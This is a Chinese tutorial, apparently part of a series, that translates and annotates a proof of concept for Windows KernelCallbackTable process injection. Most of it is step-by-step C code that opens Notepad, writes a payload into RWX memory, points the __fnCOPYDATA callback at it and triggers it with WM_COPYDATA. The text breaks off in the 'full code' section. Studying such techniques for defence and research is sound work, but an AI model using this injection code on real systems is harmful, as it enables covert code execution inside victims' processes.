21-内核回调表注入(KernelCallbackTable Injection)

参考资料GitHub - 0xHossam/KernelCallbackTable-Injection-PoC:在进程环境块 (PEB) 中操作内核回调表以执行进程注入和劫持执行流程的概念验证

注意:本人才疏学浅,只针对参考资料进行翻译和补充一下自己的见解。

一、PEB

进程环境块 (PEB) 是 Windows 中每个正在运行的程序都依赖的关键结构。将其视为“控制中心”或“中心”,其中包含有关程序如何运行以及与系统交互的基本信息。PEB 是进程内存空间的一部分,它可以帮助操作系统和程序管理各种内部细节。

进程镂空注入(Process Hollowing Injection) 中我们获取了PEB的地址,就可以操纵PEB里的 ImageBaseAddress 这个字段

DLL劫持注入(涉及白加黑) 中,我们获取PEB的地址,进一步获取Ldr的地址,从而可以修改进程的已装载模块。

在本节 内核回调表注入(KernelCallbackTable Injection) 中,我们将获取PEB的地址,就可以获取 KernelCallbackTable 这个数据结构的地址。

在后面的 自举的代码幽灵——反射DLL注入(Reflective DLL Injection) 中,我们深入的去使用PEB中的LDR字段,从而获得InMemoryOrderModuleList链表获取dll名称,遍历函数所在的dll导出表获得必要的函数的名称,如果匹配成功就返回目标函数的地址。

使用windbg查看PEB数据结构,我这里调式的是64位的程序,可以看到 KernelCallbackTable 在PEB偏移0x058的位置上。

二、KernelCallbackTable

2.1 介绍

当程序调用USER32.DLL时,KernelCallbackTable就会被初始化为函数数组。这个函数数组中的函数通常用于响应窗口消息。

KernelCallbackTable 注入可以被用于在远程进程中注入shellcode,KernelCallbackTable 可以在PEB中找到,它被KeUserModeCallback所使用,内核态调用KeUserModeCallback就可以在用户态中执行KernelCallbackTable中对应的函数

此表包含指向处理窗口消息和其他进程间通信的各种回调函数的指针。此表中的每个函数都对应于特定任务,例如处理数据传输消息或管理窗口销毁事件

如果我们可以修改里面的内核回调函数,让其指向我们的shellcode,当收到某一特定Windows消息后,从而调用shellcode,即可完成注入。

KernelCallbackTable的结构定义

typedef struct _KERNELCALLBACKTABLE_T {
    ULONG_PTR __fnCOPYDATA;
    ULONG_PTR __fnCOPYGLOBALDATA;
    ULONG_PTR __fnDWORD;
    ULONG_PTR __fnNCDESTROY;
    ULONG_PTR __fnDWORDOPTINLPMSG;
    ULONG_PTR __fnINOUTDRAG;
    ULONG_PTR __fnGETTEXTLENGTHS;
    ULONG_PTR __fnINCNTOUTSTRING;
    ULONG_PTR __fnPOUTLPINT;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
    ULONG_PTR __fnINLPCREATESTRUCT;
    ULONG_PTR __fnINLPDELETEITEMSTRUCT;
    ULONG_PTR __fnINLPDRAWITEMSTRUCT;
    ULONG_PTR __fnPOPTINLPUINT;
    ULONG_PTR __fnPOPTINLPUINT2;
    ULONG_PTR __fnINLPMDICREATESTRUCT;
    ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
    ULONG_PTR __fnINLPWINDOWPOS;
    ULONG_PTR __fnINOUTLPPOINT5;
    ULONG_PTR __fnINOUTLPSCROLLINFO;
    ULONG_PTR __fnINOUTLPRECT;
    ULONG_PTR __fnINOUTNCCALCSIZE;
    ULONG_PTR __fnINOUTLPPOINT5_;
    ULONG_PTR __fnINPAINTCLIPBRD;
    ULONG_PTR __fnINSIZECLIPBRD;
    ULONG_PTR __fnINDESTROYCLIPBRD;
    ULONG_PTR __fnINSTRING;
    ULONG_PTR __fnINSTRINGNULL;
    ULONG_PTR __fnINDEVICECHANGE;
    ULONG_PTR __fnPOWERBROADCAST;
    ULONG_PTR __fnINLPUAHDRAWMENU;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
    ULONG_PTR __fnOUTDWORDINDWORD;
    ULONG_PTR __fnOUTLPRECT;
    ULONG_PTR __fnOUTSTRING;
    ULONG_PTR __fnPOPTINLPUINT3;
    ULONG_PTR __fnPOUTLPINT2;
    ULONG_PTR __fnSENTDDEMSG;
    ULONG_PTR __fnINOUTSTYLECHANGE;
    ULONG_PTR __fnHkINDWORD;
    ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
    ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
    ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
    ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSG;
    ULONG_PTR __fnHkINLPRECT;
    ULONG_PTR __fnHkOPTINLPEVENTMSG;
    ULONG_PTR __xxxClientCallDelegateThread;
    ULONG_PTR __ClientCallDummyCallback;
    ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
    ULONG_PTR __xxxClientCallDevCallbackCapture;
    ULONG_PTR __xxxClientCallDitThread;
    ULONG_PTR __xxxClientEnableMMCSS;
    ULONG_PTR __xxxClientUpdateDpi;
    ULONG_PTR __xxxClientExpandStringW;
    ULONG_PTR __ClientCopyDDEIn1;
    ULONG_PTR __ClientCopyDDEIn2;
    ULONG_PTR __ClientCopyDDEOut1;
    ULONG_PTR __ClientCopyDDEOut2;
    ULONG_PTR __ClientCopyImage;
    ULONG_PTR __ClientEventCallback;
    ULONG_PTR __ClientFindMnemChar;
    ULONG_PTR __ClientFreeDDEHandle;
    ULONG_PTR __ClientFreeLibrary;
    ULONG_PTR __ClientGetCharsetInfo;
    ULONG_PTR __ClientGetDDEFlags;
    ULONG_PTR __ClientGetDDEHookData;
    ULONG_PTR __ClientGetListboxString;
    ULONG_PTR __ClientGetMessageMPH;
    ULONG_PTR __ClientLoadImage;
    ULONG_PTR __ClientLoadLibrary;
    ULONG_PTR __ClientLoadMenu;
    ULONG_PTR __ClientLoadLocalT1Fonts;
    ULONG_PTR __ClientPSMTextOut;
    ULONG_PTR __ClientLpkDrawTextEx;
    ULONG_PTR __ClientExtTextOutW;
    ULONG_PTR __ClientGetTextExtentPointW;
    ULONG_PTR __ClientCharToWchar;
    ULONG_PTR __ClientAddFontResourceW;
    ULONG_PTR __ClientThreadSetup;
    ULONG_PTR __ClientDeliverUserApc;
    ULONG_PTR __ClientNoMemoryPopup;
    ULONG_PTR __ClientMonitorEnumProc;
    ULONG_PTR __ClientCallWinEventProc;
    ULONG_PTR __ClientWaitMessageExMPH;
    ULONG_PTR __ClientWOWGetProcModule;
    ULONG_PTR __ClientWOWTask16SchedNotify;
    ULONG_PTR __ClientImmLoadLayout;
    ULONG_PTR __ClientImmProcessKey;
    ULONG_PTR __fnIMECONTROL;
    ULONG_PTR __fnINWPARAMDBCSCHAR;
    ULONG_PTR __fnGETTEXTLENGTHS2;
    ULONG_PTR __fnINLPKDRAWSWITCHWND;
    ULONG_PTR __ClientLoadStringW;
    ULONG_PTR __ClientLoadOLE;
    ULONG_PTR __ClientRegisterDragDrop;
    ULONG_PTR __ClientRevokeDragDrop;
    ULONG_PTR __fnINOUTMENUGETOBJECT;
    ULONG_PTR __ClientPrinterThunk;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
    ULONG_PTR __fnOUTLPSCROLLBARINFO;
    ULONG_PTR __fnINLPUAHDRAWMENU2;
    ULONG_PTR __fnINLPUAHDRAWMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU3;
    ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU4;
    ULONG_PTR __fnOUTLPTITLEBARINFOEX;
    ULONG_PTR __fnTOUCH;
    ULONG_PTR __fnGESTURE;
    ULONG_PTR __fnPOPTINLPUINT4;
    ULONG_PTR __fnPOPTINLPUINT5;
    ULONG_PTR __xxxClientCallDefaultInputHandler;
    ULONG_PTR __fnEMPTY;
    ULONG_PTR __ClientRimDevCallback;
    ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
    ULONG_PTR __ClientCallLocalMouseHooks;
    ULONG_PTR __xxxClientBroadcastThemeChange;
    ULONG_PTR __xxxClientCallDevCallbackSimple;
    ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
    ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
    ULONG_PTR __fnGETWINDOWDATA;
    ULONG_PTR __fnINOUTSTYLECHANGE2;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;

用windgb查看内核回调表

  1. 首先让windbg Step Over 十几条命令让它完成初始化

  2. 查看peb各字段的值,命令:dt <PEB的地址> ntdll!_PEB。例如 dt 0x000000e22f856000 ntdll!_PEB

  1. 查看内核回调表内容

命令

dps <KernelCallbackTable存放的指针> L20

dps 0x00007ffa `ba2b6000 L20

// L20表示显示前20个四字(160字节)

2.2 分析 Kernel Callback Table 中的函数指针

在内核回调表中,每个条目对应于一个指向回调函数的指针,当收到特定 Windows 消息时,进程可以调用该函数

在内核回调注入中,需要特别关注 _fnCOPYDATA 条目,因为它可以通过消息触发,从而允许在进程之间传递数据,我们可以将其值修改为shellcode

三、通过内核回调表操作进行进程注入

步骤一:启用调试权限

出于测试目的,我需要启用一些调试权限。调试权限允许当前进程访问其他进程的敏感区域,这些区域对于内存读取和写入等任务是必需的。如果没有这些权限,Windows 安全性将限制对其他进程的访问,从而无法注入。

// 功能:启用当前进程的调试权限
void EnableDebugPrivilege()
{
    // 打印启用调试权限的信息,使用颜色宏来设置输出样式
    printf(COLOR_YELLOW_BOLD "[*] Enabling Debug Privilege...\n" COLOR_RESET);

    HANDLE hToken; // 进程令牌句柄
    TOKEN_PRIVILEGES tkp; // 存储权限信息的结构体

    // 打开当前进程的令牌,以便调整权限
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 查找调试权限的 LUID(唯一标识符)
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);

        // 设置权限计数为 1
        tkp.PrivilegeCount = 1;

        // 设置调试权限的属性为启用
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        // 调整令牌的权限
        AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL);

        // 关闭令牌句柄
        CloseHandle(hToken);

        // 打印成功启用调试权限的消息(注释掉的代码)
        printf(COLOR_GREEN_BOLD "[+] Debug Privilege enabled.\n" COLOR_RESET );
    }
    else
    {
        // 打印失败启用调试权限的消息
        printf(COLOR_RED_BOLD "[-] Failed to enable Debug Privilege.\n" COLOR_RESET);
    }
}

详细说明

  1. OpenProcessToken 打开当前进程的访问令牌的句柄,该令牌拥有安全权限。

  2. LookupPrivilegeValue 检索权限的本地唯一标识符 (LUID) ,该权限授予进程调试功能。SE_DEBUG_NAME

  3. AdjustTokenPrivileges 在令牌中设置权限以启用调试权限,从而允许进程对其他进程执行内存操作。

步骤二:加载 NtQueryInformationProcess

NtQueryInformationProcess 函数是一个底层 Windows API 函数,用于访问有关进程的特定信息,包括进程环境块 (PEB)。PEB 包含内核回调表等结构,该表存储指向各种回调函数的指针。此函数必须动态加载,因为它是未导出API函数,通常无法通过标准 Windows 标头访问。

// 功能:加载 NtQueryInformationProcess 函数,并打印加载状态
void LoadNtQueryInformationProcess()
{
    // 打印加载信息,使用颜色宏来设置输出样式
    printf(COLOR_YELLOW_BOLD "[*] Loading NtQueryInformationProcess...\n" COLOR_RESET);

    // 获取 ntdll.dll 模块的句柄
    HMODULE hNtdll = GetModuleHandle(L"ntdll.dll");

    // 检查 ntdll.dll 是否成功加载
    if (hNtdll)
    {
        // 从 ntdll.dll 中获取 NtQueryInformationProcess 函数的地址
        NtQueryInformationProcess = (PFN_NTQUERYINFORMATIONPROCESS)GetProcAddress(hNtdll, "NtQueryInformationProcess");

        // 检查函数地址是否成功获取
        if (NtQueryInformationProcess)
        {
            // 打印成功加载的消息,包括函数地址
            printf(COLOR_GREEN_BOLD "[+] NtQueryInformationProcess loaded successfully at address: 0x%p\n" COLOR_RESET, NtQueryInformationProcess);
        }
        else
        {
            // 打印失败加载的消息
            printf(COLOR_RED_BOLD "\t[-] Failed to resolve NtQueryInformationProcess address.\n" COLOR_RESET);
        }
    }
    else
    {
        // 如果 ntdll.dll 加载失败,打印错误消息
        printf(COLOR_RED_BOLD "\t[-] Failed to load ntdll.dll.\n" COLOR_RESET);
    }
}
  • GetModuleHandle 加载到进程中,从而访问其函数。

  • GetProcAddress 检索的地址,以便以后调用此函数以收集有关目标进程的详细信息。NtQueryInformationProcess

步骤三:启动 Target 流程

进程注入首先创建一个 Notepad 实例,该实例将用作注入代码的目标。此示例使用 Notepad,因为它是一个简单、众所周知的应用程序,允许对注射过程进行受控测试。

PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { sizeof(STARTUPINFO) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;

printf(COLOR_YELLOW_BOLD "\t[*] Creating new Notepad process...\n" COLOR_RESET);
if (!CreateProcess(
    L"C:\\Windows\\System32\\notepad.exe",
    NULL,
    NULL,
    NULL,
    FALSE,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi
))
{
    printf(COLOR_RED_BOLD "\t[-] Failed to create Notepad process. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}

printf(COLOR_GREEN_BOLD "\t[+] Notepad process created successfully. PID: %d\n" COLOR_RESET, pi.dwProcessId);

步骤四:等待进程完成初始化

printf(COLOR_YELLOW_BOLD "\t[*] Waiting for Notepad initialization...\n" COLOR_RESET);
WaitForInputIdle(pi.hProcess, 1000);

步骤五:找到记事本的窗口句柄

HWND hWindow = NULL;
DWORD waitTime = 0;
while (hWindow == NULL && waitTime < MAX_WAIT_TIME)
{
    hWindow = FindWindow(L"Notepad", NULL);
    if (!hWindow)
    {
        Sleep(500);  // Wait for 500 ms before retrying
        waitTime += 500;
    }
}

if (!hWindow)
{
    printf(COLOR_RED_BOLD "\t[-] Failed to find Notepad window handle after waiting for %d milliseconds.\n" COLOR_RESET, MAX_WAIT_TIME);
    TerminateProcess(pi.hProcess, 0);
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    return -1;
}

printf(COLOR_GREEN_BOLD "\t[+] Window Handle found: 0x%p\n" COLOR_RESET, hWindow);
  • FindWindow 按名称搜索记事本的 window 类并找到其句柄。如果找到句柄,则检索关联的进程 ID。GetWindowThreadProcessId

  • 为什么我们要找到记事本的窗口句柄的句柄呢?因为内核回调表在这个窗口进程中

步骤六: 获得记事本窗口关联的进程的PID

DWORD pid;
GetWindowThreadProcessId(hWindow, &pid);
printf(COLOR_GREEN_BOLD "\t[+] Process ID: %d\n" COLOR_RESET, pid);

HANDLE hProcess = OpenProcess(
    PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
    FALSE,
    pid
);
if (!hProcess)
{
    printf(COLOR_RED_BOLD "\t[-] Failed to open target process. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Process Handle: 0x%p\n" COLOR_RESET, hProcess);

步骤七:检索 PEB 地址

NtQueryInformationProcess 用于检索目标进程的 PEB 地址。PEB 包含 Kernel Callback Table,这是此注入技术中修改的重点。

printf(COLOR_YELLOW_BOLD "\t[*] Retrieving PEB Address using NtQueryInformationProcess...\n" COLOR_RESET);
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess(
    hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(pbi),
    &returnLength
);
if (status != 0)
{
    printf(COLOR_RED_BOLD "\t[-] Failed to query process information. NTSTATUS: 0x%lx\n" COLOR_RESET, status);
    return -1;
}
PebBaseAddress = pbi.PebBaseAddress;
printf(COLOR_BLUE_BOLD "\t\t[*] PEB Address: 0x%p\n" COLOR_RESET, PebBaseAddress);

步骤八:读取与目标窗口关联的进程的内核回调表的地址

使用 PEB 地址,代码读取 Kernel Callback Table 的内存地址,从而允许修改此表中的函数指针以控制回调。

PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if (!ReadProcessMemory(
    hProcess,
    (PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
    &KernelCallbackTable,
    sizeof(PVOID),
    &bytesRead
))
{
    printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}
printf(COLOR_BLUE_BOLD "\t\t[*] KernelCallbackTable Address: 0x%p\n" COLOR_RESET, KernelCallbackTable);

步骤九:将内核回调表所有回调函数指针读到KERNELCALLBACKTABLE结构体中

KERNELCALLBACKTABLE CCC;
if (!ReadProcessMemory(
    hProcess,
    KernelCallbackTable,
    &CCC,
    sizeof(CCC),
    &bytesRead
))
{
    printf(COLOR_RED_BOLD "\t[-] Failed to read KernelCallbackTable structure. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}
printf(COLOR_GREEN_BOLD "\n\t[+] KernelCallbackTable read successfully. %zu bytes read.\n" COLOR_RESET, bytesRead);
printf(COLOR_BLUE_BOLD "\t\t[*] Dumping KernelCallbackTable structure:\n" COLOR_RESET);
printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYDATA);
printf(COLOR_GREEN_BOLD "\t\t\t__fnCOPYGLOBALDATA: 0x%p\n" COLOR_RESET, (void*)CCC.__fnCOPYGLOBALDATA);
printf(COLOR_GREEN_BOLD "\t\t\t__fnDWORD: 0x%p\n" COLOR_RESET, (void*)CCC.__fnDWORD);

步骤十:在远程目标窗口进程中申请一块RWX内存区域并将shellcode写入该区域

有效负载(通常是 shellcode)在目标进程的内存空间内分配。内存标记为 executable 以确保代码可以运行。

printf(COLOR_YELLOW_BOLD "\n\t[*] Allocating remote buffer for payload...\n" COLOR_RESET);
LPVOID remotebuf = VirtualAllocEx(
    hProcess,
    NULL,
    shellcodeSize,
    MEM_RESERVE | MEM_COMMIT,
    PAGE_EXECUTE_READWRITE
);
if (!remotebuf)
{
    printf(COLOR_RED_BOLD "\t[-] Failed to allocate remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}
if (!WriteProcessMemory(
    hProcess,
    remotebuf,
    payload,
    shellcodeSize,
    NULL
))
{
    printf(COLOR_RED_BOLD "\t[-] Failed to write payload to remote buffer. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Payload written to remote buffer at: 0x%p\n" COLOR_RESET, remotebuf);

步骤十一: 修改 _fnCOPYDATA 函数指针为shellcode

printf(COLOR_YELLOW_BOLD "\t[*] Modifying __fnCOPYDATA to point to payload...\n" COLOR_RESET);
CCC.__fnCOPYDATA = (ULONG_PTR)remotebuf;
printf(COLOR_BLUE_BOLD "\t\t[*] __fnCOPYDATA now points to: 0x%p\n" COLOR_RESET, remotebuf);

步骤十二: 为修改后的KERNELCALLBACKTABLE申请一块内存区域

printf(COLOR_YELLOW_BOLD "\n\t[*] Cloning modified KernelCallbackTable...\n" COLOR_RESET);
LPVOID cloneCCC = VirtualAllocEx(
    hProcess,
    NULL,
    sizeof(CCC),
    MEM_RESERVE | MEM_COMMIT,
    PAGE_READWRITE
);
if (!cloneCCC)
{
    printf(COLOR_RED_BOLD "\t[-] Failed to allocate memory for cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}
if (!WriteProcessMemory(
    hProcess,
    cloneCCC,
    &CCC,
    sizeof(CCC),
    NULL
))
{
    printf(COLOR_RED_BOLD "\t[-] Failed to write cloned KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Cloned KernelCallbackTable written at: 0x%p\n" COLOR_RESET, cloneCCC);

步骤十三: 更新PEB中的KernelCallbackTable指针,使其指向并修改后的内核回调表。

printf(COLOR_YELLOW_BOLD "\t[*] Updating PEB with cloned KernelCallbackTable...\n" COLOR_RESET);
if (!WriteProcessMemory(
    hProcess,
    (PBYTE)PebBaseAddress + offsetof(PEBC, KernelCallbackTable),
    &cloneCCC,
    sizeof(PVOID),
    &bytesRead
))
{
    printf(COLOR_RED_BOLD "\t[-] Failed to update PEB KernelCallbackTable. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] PEB KernelCallbackTable updated successfully!\n" COLOR_RESET);

步骤十四: 发送消息给目标窗口,从而触发执行shellcode

printf(COLOR_YELLOW_BOLD "\t[*] Sending message to trigger the payload...\n" COLOR_RESET);
COPYDATASTRUCT cds;
WCHAR msg[] = L"oneday";
cds.dwData = 1;
cds.cbData = (lstrlenW(msg) + 1) * sizeof(WCHAR);
cds.lpData = msg;
LRESULT result = SendMessage(
    hWindow,
    WM_COPYDATA,
    (WPARAM)hWindow,
    (LPARAM)&cds
);
if (result == 0 && GetLastError() != 0)
{
    printf(COLOR_RED_BOLD "\t[-] Failed to send message to trigger payload. Error: %d\n" COLOR_RESET, GetLastError());
    return -1;
}
printf(COLOR_GREEN_BOLD "\t[+] Payload triggered!\n" COLOR_RESET);

四、完整代码

struct.h

#pragma once
#include <Windows.h>

typedef struct _UNICODE_STRING {
    USHORT         Length;
    USHORT         MaximumLength;
    PWSTR          Buffer;
} UNICODE_STRING;

typedef  LONG NTSTATUS;
typedef struct _KERNELCALLBACKTABLE_T {
    ULONG_PTR __fnCOPYDATA;
    ULONG_PTR __fnCOPYGLOBALDATA;
    ULONG_PTR __fnDWORD;
    ULONG_PTR __fnNCDESTROY;
    ULONG_PTR __fnDWORDOPTINLPMSG;
    ULONG_PTR __fnINOUTDRAG;
    ULONG_PTR __fnGETTEXTLENGTHS;
    ULONG_PTR __fnINCNTOUTSTRING;
    ULONG_PTR __fnPOUTLPINT;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT;
    ULONG_PTR __fnINLPCREATESTRUCT;
    ULONG_PTR __fnINLPDELETEITEMSTRUCT;
    ULONG_PTR __fnINLPDRAWITEMSTRUCT;
    ULONG_PTR __fnPOPTINLPUINT;
    ULONG_PTR __fnPOPTINLPUINT2;
    ULONG_PTR __fnINLPMDICREATESTRUCT;
    ULONG_PTR __fnINOUTLPMEASUREITEMSTRUCT;
    ULONG_PTR __fnINLPWINDOWPOS;
    ULONG_PTR __fnINOUTLPPOINT5;
    ULONG_PTR __fnINOUTLPSCROLLINFO;
    ULONG_PTR __fnINOUTLPRECT;
    ULONG_PTR __fnINOUTNCCALCSIZE;
    ULONG_PTR __fnINOUTLPPOINT5_;
    ULONG_PTR __fnINPAINTCLIPBRD;
    ULONG_PTR __fnINSIZECLIPBRD;
    ULONG_PTR __fnINDESTROYCLIPBRD;
    ULONG_PTR __fnINSTRING;
    ULONG_PTR __fnINSTRINGNULL;
    ULONG_PTR __fnINDEVICECHANGE;
    ULONG_PTR __fnPOWERBROADCAST;
    ULONG_PTR __fnINLPUAHDRAWMENU;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD;
    ULONG_PTR __fnOPTOUTLPDWORDOPTOUTLPDWORD_;
    ULONG_PTR __fnOUTDWORDINDWORD;
    ULONG_PTR __fnOUTLPRECT;
    ULONG_PTR __fnOUTSTRING;
    ULONG_PTR __fnPOPTINLPUINT3;
    ULONG_PTR __fnPOUTLPINT2;
    ULONG_PTR __fnSENTDDEMSG;
    ULONG_PTR __fnINOUTSTYLECHANGE;
    ULONG_PTR __fnHkINDWORD;
    ULONG_PTR __fnHkINLPCBTACTIVATESTRUCT;
    ULONG_PTR __fnHkINLPCBTCREATESTRUCT;
    ULONG_PTR __fnHkINLPDEBUGHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX;
    ULONG_PTR __fnHkINLPKBDLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSLLHOOKSTRUCT;
    ULONG_PTR __fnHkINLPMSG;
    ULONG_PTR __fnHkINLPRECT;
    ULONG_PTR __fnHkOPTINLPEVENTMSG;
    ULONG_PTR __xxxClientCallDelegateThread;
    ULONG_PTR __ClientCallDummyCallback;
    ULONG_PTR __fnKEYBOARDCORRECTIONCALLOUT;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO;
    ULONG_PTR __fnINLPCOMPAREITEMSTRUCT2;
    ULONG_PTR __xxxClientCallDevCallbackCapture;
    ULONG_PTR __xxxClientCallDitThread;
    ULONG_PTR __xxxClientEnableMMCSS;
    ULONG_PTR __xxxClientUpdateDpi;
    ULONG_PTR __xxxClientExpandStringW;
    ULONG_PTR __ClientCopyDDEIn1;
    ULONG_PTR __ClientCopyDDEIn2;
    ULONG_PTR __ClientCopyDDEOut1;
    ULONG_PTR __ClientCopyDDEOut2;
    ULONG_PTR __ClientCopyImage;
    ULONG_PTR __ClientEventCallback;
    ULONG_PTR __ClientFindMnemChar;
    ULONG_PTR __ClientFreeDDEHandle;
    ULONG_PTR __ClientFreeLibrary;
    ULONG_PTR __ClientGetCharsetInfo;
    ULONG_PTR __ClientGetDDEFlags;
    ULONG_PTR __ClientGetDDEHookData;
    ULONG_PTR __ClientGetListboxString;
    ULONG_PTR __ClientGetMessageMPH;
    ULONG_PTR __ClientLoadImage;
    ULONG_PTR __ClientLoadLibrary;
    ULONG_PTR __ClientLoadMenu;
    ULONG_PTR __ClientLoadLocalT1Fonts;
    ULONG_PTR __ClientPSMTextOut;
    ULONG_PTR __ClientLpkDrawTextEx;
    ULONG_PTR __ClientExtTextOutW;
    ULONG_PTR __ClientGetTextExtentPointW;
    ULONG_PTR __ClientCharToWchar;
    ULONG_PTR __ClientAddFontResourceW;
    ULONG_PTR __ClientThreadSetup;
    ULONG_PTR __ClientDeliverUserApc;
    ULONG_PTR __ClientNoMemoryPopup;
    ULONG_PTR __ClientMonitorEnumProc;
    ULONG_PTR __ClientCallWinEventProc;
    ULONG_PTR __ClientWaitMessageExMPH;
    ULONG_PTR __ClientWOWGetProcModule;
    ULONG_PTR __ClientWOWTask16SchedNotify;
    ULONG_PTR __ClientImmLoadLayout;
    ULONG_PTR __ClientImmProcessKey;
    ULONG_PTR __fnIMECONTROL;
    ULONG_PTR __fnINWPARAMDBCSCHAR;
    ULONG_PTR __fnGETTEXTLENGTHS2;
    ULONG_PTR __fnINLPKDRAWSWITCHWND;
    ULONG_PTR __ClientLoadStringW;
    ULONG_PTR __ClientLoadOLE;
    ULONG_PTR __ClientRegisterDragDrop;
    ULONG_PTR __ClientRevokeDragDrop;
    ULONG_PTR __fnINOUTMENUGETOBJECT;
    ULONG_PTR __ClientPrinterThunk;
    ULONG_PTR __fnOUTLPCOMBOBOXINFO2;
    ULONG_PTR __fnOUTLPSCROLLBARINFO;
    ULONG_PTR __fnINLPUAHDRAWMENU2;
    ULONG_PTR __fnINLPUAHDRAWMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU3;
    ULONG_PTR __fnINOUTLPUAHMEASUREMENUITEM;
    ULONG_PTR __fnINLPUAHDRAWMENU4;
    ULONG_PTR __fnOUTLPTITLEBARINFOEX;
    ULONG_PTR __fnTOUCH;
    ULONG_PTR __fnGESTURE;
    ULONG_PTR __fnPOPTINLPUINT4;
    ULONG_PTR __fnPOPTINLPUINT5;
    ULONG_PTR __xxxClientCallDefaultInputHandler;
    ULONG_PTR __fnEMPTY;
    ULONG_PTR __ClientRimDevCallback;
    ULONG_PTR __xxxClientCallMinTouchHitTestingCallback;
    ULONG_PTR __ClientCallLocalMouseHooks;
    ULONG_PTR __xxxClientBroadcastThemeChange;
    ULONG_PTR __xxxClientCallDevCallbackSimple;
    ULONG_PTR __xxxClientAllocWindowClassExtraBytes;
    ULONG_PTR __xxxClientFreeWindowClassExtraBytes;
    ULONG_PTR __fnGETWINDOWDATA;
    ULONG_PTR __fnINOUTSTYLECHANGE2;
    ULONG_PTR __fnHkINLPMOUSEHOOKSTRUCTEX2;
} KERNELCALLBACKTABLE;

typedef struct _PEB
{
    UCHAR InheritedAddressSpace;                                            //0x0
    UCHAR ReadImageFileExecOptions;                                         //0x1
    UCHAR BeingDebugged;                                                    //0x2
    union
    {
        UCHAR BitField;                                                     //0x3
        struct
        {
            UCHAR ImageUsesLargePages : 1;                                  //0x3
            UCHAR IsProtectedProcess : 1;                                   //0x3
            UCHAR IsImageDynamicallyRelocated : 1;                          //0x3
            UCHAR SkipPatchingUser32Forwarders : 1;                         //0x3
            UCHAR IsPackagedProcess : 1;                                    //0x3
            UCHAR IsAppContainer : 1;                                       //0x3
            UCHAR IsProtectedProcessLight : 1;                              //0x3
            UCHAR IsLongPathAwareProcess : 1;                               //0x3
        };
    };
    UCHAR Padding0[4];                                                      //0x4
    VOID* Mutant;                                                           //0x8
    VOID* ImageBaseAddress;                                                 //0x10
    struct _PEB_LDR_DATA* Ldr;                                              //0x18
    struct _RTL_USER_PROCESS_PARAMETERS* ProcessParameters;                 //0x20
    VOID* SubSystemData;                                                    //0x28
    VOID* ProcessHeap;                                                      //0x30
    struct _RTL_CRITICAL_SECTION* FastPebLock;                              //0x38
    union _SLIST_HEADER* volatile AtlThunkSListPtr;                         //0x40
    VOID* IFEOKey;                                                          //0x48
    union
    {
        ULONG CrossProcessFlags;                                            //0x50
        struct
        {
            ULONG ProcessInJob : 1;                                         //0x50
            ULONG ProcessInitializing : 1;                                  //0x50
            ULONG ProcessUsingVEH : 1;                                      //0x50
            ULONG ProcessUsingVCH : 1;                                      //0x50
            ULONG ProcessUsingFTH : 1;                                      //0x50
